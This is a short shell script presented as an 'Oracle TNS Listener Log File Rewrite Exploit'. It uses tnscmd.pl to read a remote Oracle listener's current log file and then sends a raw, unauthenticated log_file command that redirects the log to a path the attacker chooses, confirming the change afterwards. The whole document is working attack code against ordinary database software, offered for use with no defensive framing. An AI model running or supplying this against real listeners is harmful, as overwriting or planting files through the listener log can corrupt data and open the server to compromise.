Oracle TNS Listener Log File Rewrite Exploit

oracle-set-logfile.sh

#!/bin/sh

PORT=1521;

if [ $# != 2 ] && [ $# != 3 ]; then
	echo Sets Oracle TNS Listener log file to a new value using tnscmd.pl
	echo
	echo Usage: $0 new-log-file-name host [port]
	echo
	echo port default to $PORT
	exit 1;
fi

NEWLOGFILENAME=$1
HOST=$2

if [ $# == 3 ]; then
	PORT=$3
fi

echo Attempting to change logfile on $HOST:$PORT

OLDLOGFILENAME=`tnscmd.pl status --indent -p $PORT -h $HOST | grep LOGFILE | sed 's/.*LOGFILE=//'`
if [ -z $OLDLOGFILENAME ]; then
	echo ERROR: Couldn\'t find name of current log file using a "status" command.
	exit 1;
fi

echo Old logfile: $OLDLOGFILENAME

tnscmd.pl -h $HOST -p $PORT --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=${NEWLOGFILENAME})))"

OLDLOGFILENAME=`tnscmd.pl status --indent -p $PORT -h $HOST | grep LOGFILE | sed 's/.*LOGFILE=//'`
if [ -z $OLDLOGFILENAME ]; then
	echo ERROR: Couldn\'t reread logfile name with a "status" request
	exit 1;
fi

echo New logfile: $OLDLOGFILENAME